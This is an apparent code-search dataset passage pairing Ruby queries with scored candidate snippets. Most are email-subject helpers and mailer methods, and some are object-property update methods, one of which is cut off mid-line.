"text": "def recebido(pedido)\n @pedido = pedido\n\n mail to: pedido.email, subject: \"Confirmação de pedido da FG Games\"\n end",
"title": ""
}
] |
[
{
"docid": "ea740e704e8f1173fb87b45dfcaaf989",
"score": "0.8005749",
"text": "def subject_for(key)\n I18n.t(:subject, scope: [:mailer, key])\n end",
"title": ""
},
{
"docid": "8928fe4f050d7ebd3e9aa992b07e320a",
"score": "0.7568602",
"text": "def subject_for\n ActiveSupport::Deprecation.warn \"subject_for\"\n I18n.t(:\"subject\", scope: [:notifications, :mailer],\n default: [:subject])\n end",
"title": ""
},
{
"docid": "542885bb44aabef24a05ce9d9749449c",
"score": "0.735589",
"text": "def subject_for(key)\n I18n.t(:\"#{devise_mapping.name}_subject\", scope: [:devise, :mailer, key],\n default: [:subject, key.to_s.humanize])\n end",
"title": ""
},
{
"docid": "8ce192cb0eeac1cca7c1d5f1295be992",
"score": "0.7195265",
"text": "def subject\n @subject ||= convert(Mail::Encodings.decode_encode(message.subject || '', :decode))\n end",
"title": ""
},
{
"docid": "25da83c993ce4cf1f7b9941e027ed63a",
"score": "0.70169556",
"text": "def subject\n email_message.subject\n end",
"title": ""
},
{
"docid": "a88f0f72dc91909c2d67b95574182c34",
"score": "0.7000941",
"text": "def subject\n @msg['Subject']\n end",
"title": ""
},
{
"docid": "a88f0f72dc91909c2d67b95574182c34",
"score": "0.7000941",
"text": "def subject\n @msg['Subject']\n end",
"title": ""
},
{
"docid": "6140e73ee355af7cdcaa1bec13316266",
"score": "0.69947237",
"text": "def subject\n @subject ||= @email.subject.to_s\n end",
"title": ""
},
{
"docid": "0057005be13d2471732baf09ab7f3e03",
"score": "0.6990086",
"text": "def subject\n \"[#{I18n.t('app_name')} #{Rails.env.upcase}] #{message.subject}\"\n end",
"title": ""
},
{
"docid": "75e4ae88ce617fd153e0a7564934bd04",
"score": "0.69804317",
"text": "def default_subject\n DEFAULT_SUBJECT\n end",
"title": ""
},
{
"docid": "c4a674d85e621eef1f1b8d2584c5ccf4",
"score": "0.69072443",
"text": "def subject\n I18n.t('flowdock.inbox_message.subject', message_type: I18n.t(\"flowdock.inbox_message.type.#{@type}\"), store_name: current_store.name)\n end",
"title": ""
},
{
"docid": "adc4d6f399275aa030fdd9d865497b26",
"score": "0.6880941",
"text": "def subject(subj)\n if not subj.instance_of? String\n STDERR.puts \"ELTmail::Mail: subject ERROR: requires a String\"\n exit 1\n end\n @subject=subj\n @message.header.subject=@subject\n end",
"title": ""
},
{
"docid": "d559f396e2aaf6d814c15d1286fe3fa4",
"score": "0.68397325",
"text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end",
"title": ""
},
{
"docid": "d2f26cb27e81ae8b03fd141a0f231955",
"score": "0.6824204",
"text": "def subject=(subject); @message_impl.setSubject subject; end",
"title": ""
},
{
"docid": "5b97accc2422140e68c3765af2839e19",
"score": "0.67724526",
"text": "def subject\n\n unless @subject\n subject = mail.subject.strip rescue \"\"\n ignores = config['ignore']['text/plain']\n if ignores && ignores.detect{|s| s == subject}\n @subject = \"\"\n else\n @subject = transform_text('text/plain', subject).last\n end\n end\n\n @subject\n end",
"title": ""
},
{
"docid": "dc7d12811f6d234ea98ad06ca7ef51d8",
"score": "0.675796",
"text": "def default_i18n_subject(interpolations = {}) # :doc:\n mailer_scope = self.class.mailer_name.tr(\"/\", \".\")\n I18n.t(:subject, **interpolations.merge(scope: [mailer_scope, action_name], default: action_name.humanize))\n end",
"title": ""
},
{
"docid": "de234bc160d6b9ea980e7d1cfb28d1e4",
"score": "0.6749877",
"text": "def subject\n SMail::MIME.decode_field(subject_raw)\n end",
"title": ""
},
{
"docid": "c99eda28be9b3fe1f10546bb5e4340fb",
"score": "0.6723036",
"text": "def digest_email_subject(digest_group = nil)\n if digest_group\n translate_path = \"digest_notifier.#{digest_group.i18n_name_space}.email_subjsct\"\n \"#{DigestNotifier.app_name} #{I18n::t(translate_path, :default => 'todays updates')}\"\n else\n \"#{DigestNotifier.app_name} #{I18n::t('digest_notifier.email_subject', :default => 'todays updates')}\"\n end\n end",
"title": ""
},
{
"docid": "422b8a96f3d51add2d884b8ab82a0752",
"score": "0.66745377",
"text": "def massage_subject(subject='',errata=nil)\n \"ET: #{\"#{errata.name_release_and_short_title}\" if errata}#{\"#{' - ' if errata}#{subject}\" if !subject.blank?}\"\n end",
"title": ""
},
{
"docid": "ab155e65d0a7fb6e58826542bee8d360",
"score": "0.65430325",
"text": "def auto_reply_subject(enquiry)\n I18n.t('integral.contact_mailer.auto_reply.subject', reference: enquiry.reference)\n end",
"title": ""
},
{
"docid": "65bc93ce070dc297b0749b44e859fbe2",
"score": "0.6520626",
"text": "def default_i18n_subject(interpolations = {})\n I18n.t(:subject, interpolations.merge(i18n_default_params))\n end",
"title": ""
},
{
"docid": "dc0e2948b8652d7848b464a5ec15a020",
"score": "0.6515823",
"text": "def subject(string)\n self << \"SUBJECT\" << string\n end",
"title": ""
},
{
"docid": "00b6a5821d086aac53df53d687eee6bd",
"score": "0.6483233",
"text": "def subject=(subject)\n Cproton.pn_message_set_subject(@impl, subject)\n end",
"title": ""
},
{
"docid": "3ced77486c3fe9f91298bd4216254c91",
"score": "0.6453847",
"text": "def subject_name\n nil unless @subject\n if subject_class.respond_to?(:human_name)\n subject_class.human_name(:locale => Remarkable.locale)\n else\n subject_class.name\n end\n end",
"title": ""
},
{
"docid": "3595e96093bf4fdb3c90ed70810c54bc",
"score": "0.6428762",
"text": "def subject(string)\n return add_params(SUBJECT, string)\n end",
"title": ""
},
{
"docid": "c467d463e8e174d4b909bb1a9e466b55",
"score": "0.6419047",
"text": "def subject\n envelope[:subject]\n end",
"title": ""
},
{
"docid": "f2fecd58a29b9acf94ad3b95a78dc2e7",
"score": "0.64083695",
"text": "def welcome_email_subject\n @attributes[:welcome_email_subject]\n end",
"title": ""
},
{
"docid": "0d214ce6c70e5f2f96c759e4cff712c7",
"score": "0.6407837",
"text": "def subject\n fetch('educator.subject')\n end",
"title": ""
},
{
"docid": "519f685ed317139cbea72085c30086ef",
"score": "0.6407728",
"text": "def subject(*extra)\n subject = []\n\n subject.concat(extra) if extra.present?\n\n if core_config['email_subject_suffix'].present?\n subject << core_config['email_subject_suffix']\n end\n\n subject.join(' | ')\n end",
"title": ""
},
{
"docid": "8e5e8a32e59042d47143922abe60d271",
"score": "0.6402016",
"text": "def get_subject(params = {}, alternate_text = '')\n\n # set the subject to the default if nothing else better comes along\n subject = alternate_text\n\n # we have to guard against templates not being loaded\n if @notification_template && @notification_template.subject\n subj_template = Liquid::Template.parse(@notification_template.subject) rescue nil\n subject = subj_template.render({'params' => params})\n end\n subject\n end",
"title": ""
},
{
"docid": "dfa4ecb662f4081560f4e222e22056ef",
"score": "0.639912",
"text": "def define_subject(subject)\n if subject =~ /^Re: /\n subject\n else\n \"Re: #{subject}\"\n end\n end",
"title": ""
},
{
"docid": "d0e1de61fdd3b17c2381046c60ded7bd",
"score": "0.63972235",
"text": "def subject_name\n subject_full_name\n end",
"title": ""
},
{
"docid": "0c3396cb0dae322e35cdf4231cd444d6",
"score": "0.6393775",
"text": "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end",
"title": ""
},
{
"docid": "4ff9c58cae5e6739edda949291e18f0b",
"score": "0.63768333",
"text": "def subject=(text)\n self.subject_raw = SMail::MIME.encode_field(text)\n end",
"title": ""
},
{
"docid": "c6afc3626cbbe68cf6cd38b69eea3b85",
"score": "0.63657516",
"text": "def setup_mail( recipient, data, key, translation_data = {} )\n subject \"[#{ self.class.site_name }] #{ translate( key, translation_data ) }\"\n from NOTIFICATION_EMAILS_COME_FROM # config/initializers/50_general_settings.rb\n recipients recipient\n sent_on Time.now\n content_type 'text/plain'\n body render(\n :file => \"canvass_mailer/#{ key }.txt.erb\",\n :body => { :data => data }\n )\n end",
"title": ""
},
{
"docid": "086f3cabbe22eb51f456ff15266621f2",
"score": "0.6361758",
"text": "def subject=(s)\n msg = Message.new\n msg.subject = s\n send(msg)\n end",
"title": ""
},
{
"docid": "91927af29dd0e00c0374e761ec60174c",
"score": "0.6347581",
"text": "def subject_prefix\n return \"[#{SUBJECT_PREFIX}] \" if Object.const_defined?('SUBJECT_PREFIX')\n ''\n end",
"title": ""
},
{
"docid": "2d6331689dbede789150dacf78dbe51f",
"score": "0.6307037",
"text": "def subject( default = nil )\n if h = @header['subject']\n h.body\n else\n default\n end\n end",
"title": ""
},
{
"docid": "f4f7fbf7a6c1b9a18070b243febadd82",
"score": "0.6297179",
"text": "def subject\n @message.split(/$/).first\n end",
"title": ""
},
{
"docid": "f4f7fbf7a6c1b9a18070b243febadd82",
"score": "0.6297179",
"text": "def subject\n @message.split(/$/).first\n end",
"title": ""
},
{
"docid": "acf6d147f72804aba88819156ef816a8",
"score": "0.62816185",
"text": "def subject=(subject)\n @subject=subject\n end",
"title": ""
},
{
"docid": "6a26cb28e002fcdcabff93f31a7d3216",
"score": "0.62679857",
"text": "def subject=(subject)\n @content[pn(:Subject)] = pl(subject)\n end",
"title": ""
},
{
"docid": "adab5fbcef94747391c4ce52e337047e",
"score": "0.6257248",
"text": "def subject=(subject)\n set_content_for :subject, subject\n end",
"title": ""
},
{
"docid": "592a4cdad3b2f1f9377bb8994ad24ca8",
"score": "0.6253867",
"text": "def default_subject_prefix\n @default_subject_prefix || \"[VALIDATION ERROR]\"\n end",
"title": ""
},
{
"docid": "d9d0a041b381d1a8f3701883a1622687",
"score": "0.6247368",
"text": "def subject_for_reply\n subject =~ REGARD_RE ? subject : \"Re: #{subject}\"\n end",
"title": ""
},
{
"docid": "23eff6c61a6c900432383b9130c65add",
"score": "0.6245629",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "01df34cad757e9ffe18fd8399921934c",
"score": "0.62394065",
"text": "def subject\n @config[\"subject\"]\n end",
"title": ""
},
{
"docid": "6e74d38982d77ab2d4f1247a232115b0",
"score": "0.6237621",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "09fd44300aaaa367f6fa38dd31fcbb56",
"score": "0.6229118",
"text": "def subject=(value)\n @subject = value\n end",
"title": ""
},
{
"docid": "3e1425a9bedfe6a65d651b5d5841dbf2",
"score": "0.6215946",
"text": "def sns_subject\n return default_sns_subject unless subject\n context = self\n eruby = Erubis::Eruby.new(fix_subject_encoding(subject))\n fix_subject_encoding(eruby.evaluate(context))[0..99]\n end",
"title": ""
},
{
"docid": "60a2d908c8044990c844333ae54c7235",
"score": "0.62132883",
"text": "def SetSubject(subject)\n #Subject of document\n @subject = subject\n end",
"title": ""
},
{
"docid": "9f95361cf5e95156660c6c2cbddcb24a",
"score": "0.62042886",
"text": "def subject_and_body\n if subject.blank?\n body.blank? ? '' : body\n else\n body.blank? ? subject : \"#{subject} - #{body}\"\n end\n end",
"title": ""
},
{
"docid": "20e4267b6397ef5409d8d48a8cdac18d",
"score": "0.61926574",
"text": "def add_default_subject\n self.subject = 'IMPORTANT!!!'\n end",
"title": ""
},
{
"docid": "d3fe97d40a71821834b836df97a93c27",
"score": "0.61652726",
"text": "def test_set_subject\n email = SendgridRuby::Email.new\n\n email.set_subject(\"Test Subject\")\n assert_equal(\"Test Subject\", email.get_subject)\n end",
"title": ""
},
{
"docid": "50f888854f638edf42618d35300fb025",
"score": "0.6163844",
"text": "def subject=( str )\n set_string_attr 'Subject', str\n end",
"title": ""
},
{
"docid": "0fa56be84c0a8c0710dcc8f6cd82ea6e",
"score": "0.6159855",
"text": "def subject\n ::Registeruz::Subject.find(@subject_id)\n end",
"title": ""
},
{
"docid": "cb3903bb72c279531d812f561910449a",
"score": "0.6158053",
"text": "def email_changed(record, opts = {})\n opts[:subject] = \"#{default_title}: #{t(:email_changed)}\"\n super\n end",
"title": ""
},
{
"docid": "fa33adbf1eecc39bcd457b78590d6d3f",
"score": "0.6154014",
"text": "def subject=(s)\n\t\t@subject = s\n\tend",
"title": ""
},
{
"docid": "2b0decb074fe87eb6851f249be929646",
"score": "0.6153558",
"text": "def subject_title\n self.title || self.project_doc_id || self.to_id\n end",
"title": ""
},
{
"docid": "98da9102c01851fa213c08ba869b9856",
"score": "0.61480904",
"text": "def subject=(subject)\n @subject = subject\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61407304",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "1117fdba834d3a1af2cdb19084b1bec2",
"score": "0.61400145",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "0aa1cc7584224f23051efac49931c5e7",
"score": "0.61230886",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "0aa1cc7584224f23051efac49931c5e7",
"score": "0.61230886",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "0aa1cc7584224f23051efac49931c5e7",
"score": "0.61230886",
"text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end",
"title": ""
},
{
"docid": "3017141db42381c7cc5da401735d5c9e",
"score": "0.60976315",
"text": "def subject\n read_content :subject\n end",
"title": ""
},
{
"docid": "5fb60ea7315445d7605e1eead17dd1e9",
"score": "0.60756695",
"text": "def subject\n env['trinity.subject']\n end",
"title": ""
},
{
"docid": "0bb51af8e2fb83533ca430c259063010",
"score": "0.60680467",
"text": "def subject(subj = nil)\n set_multi_simple(:subject, subj)\n end",
"title": ""
},
{
"docid": "80d5fa595480d12757a2c519884f7b3f",
"score": "0.60654056",
"text": "def subject\n first_element_text('subject')\n end",
"title": ""
},
{
"docid": "917cbe14183cf342539eabdfc66fca4c",
"score": "0.6045116",
"text": "def subject\n @header[:subject]\n end",
"title": ""
},
{
"docid": "cf2a25634b64117bc458dafa8c7f8602",
"score": "0.6042974",
"text": "def subject=(s)\n self.cached_alert_group = nil\n attribute_set(:subject, s)\n end",
"title": ""
},
{
"docid": "8a5f0f8f2669885dc872baa7143b45c7",
"score": "0.6033017",
"text": "def subject_label=(label)\n @subject_label = label\n @subject_label_customized = true\n end",
"title": ""
},
{
"docid": "7a71c38641a8e1e8d966f64a383149ae",
"score": "0.60323507",
"text": "def translation_email\n @translations = get_translation_by_lang\n lang_parsed = JSON.parse(@translations)\n @data = lang_parsed['data']\n @mailT = @data[0]['Miscellaneous']['mail']\n\n end",
"title": ""
},
{
"docid": "08611253a1d3cae6dfbc8b4238e247ee",
"score": "0.6027929",
"text": "def subject\n @subject = page.present? ? page.present_title(vars) : nil\n end",
"title": ""
},
{
"docid": "d8decc4e6f01660c7e8f4bb726fe5ad1",
"score": "0.6026012",
"text": "def set_subject(s)\n self.subject = s\n self\n end",
"title": ""
},
{
"docid": "01135c890b85dbc9c9f897f87df4fe98",
"score": "0.602544",
"text": "def subject=(s)\n raise ArgumentError, \"subject must be a String, or respond to to_s\" unless s.is_a?(String) or s.respond_to?(\"to_s\")\n\n @alert.subject = s\n end",
"title": ""
},
{
"docid": "cf38a7b0c25cdaf4caa7f669a2c81211",
"score": "0.60205835",
"text": "def subject_raw\n self.header('subject')\n end",
"title": ""
},
{
"docid": "2316f65233b6fb2d5ca6cbcf9856af69",
"score": "0.6019588",
"text": "def deliver_invitation(options = {})\n super(options.merge(subject: _('A Data Management Plan in %{application_name} has been shared with you') % {application_name: Rails.configuration.branding[:application][:name]}))\n end",
"title": ""
},
{
"docid": "441e62b981d3668556119f56fbc674a3",
"score": "0.6009387",
"text": "def set_subject(default_subject)\n Rails.env.production? ? default_subject : \"TEST-#{default_subject}\"\n end",
"title": ""
},
{
"docid": "6878d37f22ad2148cc944a89743c0f15",
"score": "0.6009014",
"text": "def set_title\n @title = t(:message_1, :scope => [:controller, :students])\n end",
"title": ""
},
{
"docid": "1f23f200a3e5878c4bd5453d4bf9dafe",
"score": "0.60029674",
"text": "def subject=(s)\n replace_element_text('subject', s)\n end",
"title": ""
},
{
"docid": "845e4f68ce289ae4e1388b791bd21f8d",
"score": "0.5996202",
"text": "def set_title\n @title = t(:message_2, :scope => [:controller, :terms])\n end",
"title": ""
},
{
"docid": "35beeb99a41debf763c1e156b22cf4c5",
"score": "0.5986121",
"text": "def rezm_subject_and_status(email)\n if email.receiver_deleted?\n email.subject + \" (Deleted)\" \n elsif email.read_at.nil?\n email.subject + \" (Unread)\" \n else \n email.subject\n end\n end",
"title": ""
},
{
"docid": "90c6732368de3042690459d8bd443970",
"score": "0.5980159",
"text": "def parse_subject(mail)\n decode_jp(mail.subject, nil)\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5979092",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5979092",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
},
{
"docid": "c14d27c2cd6a2119b115cff14268ed66",
"score": "0.5979092",
"text": "def subject\n @attributes[:subject]\n end",
"title": ""
}
] |
af630984682f1a0b5a68e6092af0d102
|
Update properties of this object
|
[
{
"docid": "fe2e84aefd92746eca0e97387498c7b6",
"score": "0.0",
"text": "def update!(**args)\n @permissions = args[:permissions] unless args[:permissions].nil?\n end",
"title": ""
}
] |
[
{
"docid": "150fa2bdc1fc43d28ac45e2278a1f797",
"score": "0.7012263",
"text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "e72f78e0e269f94de07625d4972f0298",
"score": "0.69181895",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end",
"title": ""
},
{
"docid": "37ae8a386fde14c02d7021605aa72f45",
"score": "0.67403597",
"text": "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "10e41ec39ba2af73495ccece21c2d8a3",
"score": "0.6709326",
"text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7",
"score": "0.6696149",
"text": "def update(attrs)\n super(attrs)\n end",
"title": ""
},
{
"docid": "47bbd8b88b35da987fc3775b82211e56",
"score": "0.6618882",
"text": "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end",
"title": ""
},
{
"docid": "769b77b7f7f9f82ae847f5968eb201dc",
"score": "0.6571848",
"text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end",
"title": ""
},
{
"docid": "c3b6fccdeb696de5e9dbc38a9486b742",
"score": "0.65386343",
"text": "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end",
"title": ""
},
{
"docid": "bb403006cc5423d9b1820fe684a7c5a5",
"score": "0.65178275",
"text": "def update\n # TODO: implement update\n end",
"title": ""
},
{
"docid": "1ee90e4f66e82aec13076a98b288a2d1",
"score": "0.6394807",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5",
"score": "0.6389745",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end",
"title": ""
},
{
"docid": "3f85752da065340d4ca70ce879a3b23d",
"score": "0.63328",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end",
"title": ""
},
{
"docid": "da63345424fc9aecef032928485bd149",
"score": "0.6319025",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "5a8e82caac01cee661bc875a5b0cf723",
"score": "0.6283673",
"text": "def refresh\n set_attributes\n end",
"title": ""
},
{
"docid": "60d8c4f58de490a0d7cdd918c16a2cce",
"score": "0.6269463",
"text": "def update(attrs)\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "7a41bc9d5a07220fb8626d1fa90d2d79",
"score": "0.62639254",
"text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end",
"title": ""
},
{
"docid": "29c22ae2290ffca9b9682a5f20f48103",
"score": "0.62410724",
"text": "def update_resource object, attributes\n object.update attributes\n end",
"title": ""
},
{
"docid": "91dc386ff8fa066852510a5d62b13078",
"score": "0.62170374",
"text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end",
"title": ""
},
{
"docid": "6249943d1eeff63f8f611fcf73254058",
"score": "0.62152076",
"text": "def update\n \n end",
"title": ""
},
{
"docid": "1c12f310aca206a2cefff8c291007668",
"score": "0.6210263",
"text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "1c0316f22c6db917fa4719767b5326a9",
"score": "0.6204041",
"text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end",
"title": ""
},
{
"docid": "85a79fb5c3cc199e689344861658b09b",
"score": "0.62021106",
"text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end",
"title": ""
},
{
"docid": "5d229ea224b1dfa7ac9ce6808ca63fc4",
"score": "0.62017816",
"text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end",
"title": ""
},
{
"docid": "549a7eef6c18558dea47a8e8d72df295",
"score": "0.62017",
"text": "def update\n @objects.map(&:update);\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e1f766468b11768b786daa133483b157",
"score": "0.61730784",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "b76d372399abbb21b748df3ae7b06470",
"score": "0.6159277",
"text": "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible 